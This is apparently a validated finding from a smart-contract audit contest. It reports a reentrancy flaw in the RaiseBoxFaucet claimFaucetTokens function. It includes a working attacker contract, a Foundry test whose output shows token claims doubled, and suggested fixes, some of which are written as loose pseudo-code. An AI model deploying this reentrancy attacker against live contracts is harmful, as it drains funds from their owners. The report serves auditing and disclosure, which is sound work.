Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy Vulnerability in RaiseBoxFaucet Token Claiming Function

Root + Impact

Description

  • The claimFaucetTokens function is designed to allow users to claim a fixed amount of tokens (1000) and, for first-time claimers, drip 0.005 ETH from the contract, updating state variables like hasClaimedEth and dailyClaimCount afterward.


  • * The specific issue is that the low-level call to send ETH occurs before state updates, enabling an attacker to reenter the function via a malicious contract, claiming additional tokens before the state is fully updated, effectively doubling their claims per transaction.

@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");

Risk

Likelihood:

  • Deployment of a malicious contract interacting with the faucet

  • Execution of the claim function by an attacker with reentrancy logic

Impact:

  • Doubling of token claims per transaction, accelerating faucet depletion

  • Could lead to significant financial loss if the contract holds substantial ETH or tokens, bypassing the intended drip limit (0.005 ETH per claim).

Proof of Concept

By adding these onto the test suite we can see this outcome:

contract reentrancyAttacker {
RaiseBoxFaucet victim;
uint256 public reentryCount;
constructor(RaiseBoxFaucet _victim) {
victim = _victim;
}
function setReentryCount(uint256 count) public {
reentryCount = count;
}
function attack() public {
victim.claimFaucetTokens();
}
receive() external payable {
if (reentryCount > 0) {
reentryCount--;
victim.claimFaucetTokens();
}
}
}
function testClaimFaucetReentracy() public {
console2.log("Total Contract ETH Balance before:", vm.toString(address(raiseBoxFaucet).balance / 1e18), "ETH");
console2.log("Before User1 Claim:", vm.toString(raiseBoxFaucet.balanceOf(user1) / 1e18), "Tokens");
vm.prank(user1);
raiseBoxFaucet.claimFaucetTokens();
console2.log();
console2.log("Total Contract ETH Balance after:", vm.toString(address(raiseBoxFaucet).balance / 1e18), "ETH");
console2.log("After User1 Claim:", vm.toString(raiseBoxFaucet.balanceOf(user1) / 1e18), "Tokens");
assertEq(raiseBoxFaucet.balanceOf(user1), raiseBoxFaucet.faucetDrip());
console2.log();
console2.log("ETH Balance before attack:", vm.toString(address(raiseBoxFaucet).balance / 1e18), "ETH");
console2.log("Before Attacker Tokens:", vm.toString(raiseBoxFaucet.balanceOf(address(attackerContract)) / 1e18), "Tokens");
uint256 balanceBefore = address(raiseBoxFaucet).balance;
vm.prank(AttackerUser);
attackerContract.setReentryCount(1);
attackerContract.attack();
console2.log();
console2.log("ETH Balance after attack:", vm.toString(address(raiseBoxFaucet).balance / 1e18), "ETH");
console2.log("After Attacker Tokens:", vm.toString(raiseBoxFaucet.balanceOf(address(attackerContract)) / 1e18), "Tokens");
assertEq(raiseBoxFaucet.balanceOf(address(attackerContract)), 2 * raiseBoxFaucet.faucetDrip());
}

We get this output by doing forge test --mt testClaimFaucetReentracy -vvv:

Ran 1 test for test/RaiseBoxFaucet.t.sol:TestRaiseBoxFaucet
[PASS] testClaimFaucetReentracy() (gas: 380981)
Logs:
Total Contract ETH Balance before: 1 ETH
Before User1 Claim: 0 Tokens
Total Contract ETH Balance after: 0 ETH
After User1 Claim: 1000 Tokens
ETH Balance before attack: 0 ETH
Before Attacker Tokens: 0 Tokens
ETH Balance after attack: 0 ETH
After Attacker Tokens: 2000 Tokens

Signifying that a Reentrancy is possible and that the function is not properly protected.

Recommended Mitigation

These are the recommended mitigations:

- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
+ using nonReentrant from OpenZeppelin;
+ @>modifier nonReentrant { require(!locked, "ReentrancyGuard: reentrant call"); locked = true; _; locked = false; }
+ @>add nonReentrant before function claimFaucetTokens() public {
  • Additionally, ensure all state-changing operations (e.g., hasClaimedEth, dailyClaimCount) are completed before any external calls to prevent partial state updates.

  • Consider adding a checks-effects-interactions pattern by moving the ETH transfer after all state updates and using a pull-over-push mechanism for ETH distribution to avoid direct calls.

  • Implement a maximum claim limit per address or transaction to cap potential damage from reentrancy exploits.

Updates

Lead Judging Commences

inallhonesty Lead Judge 5 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.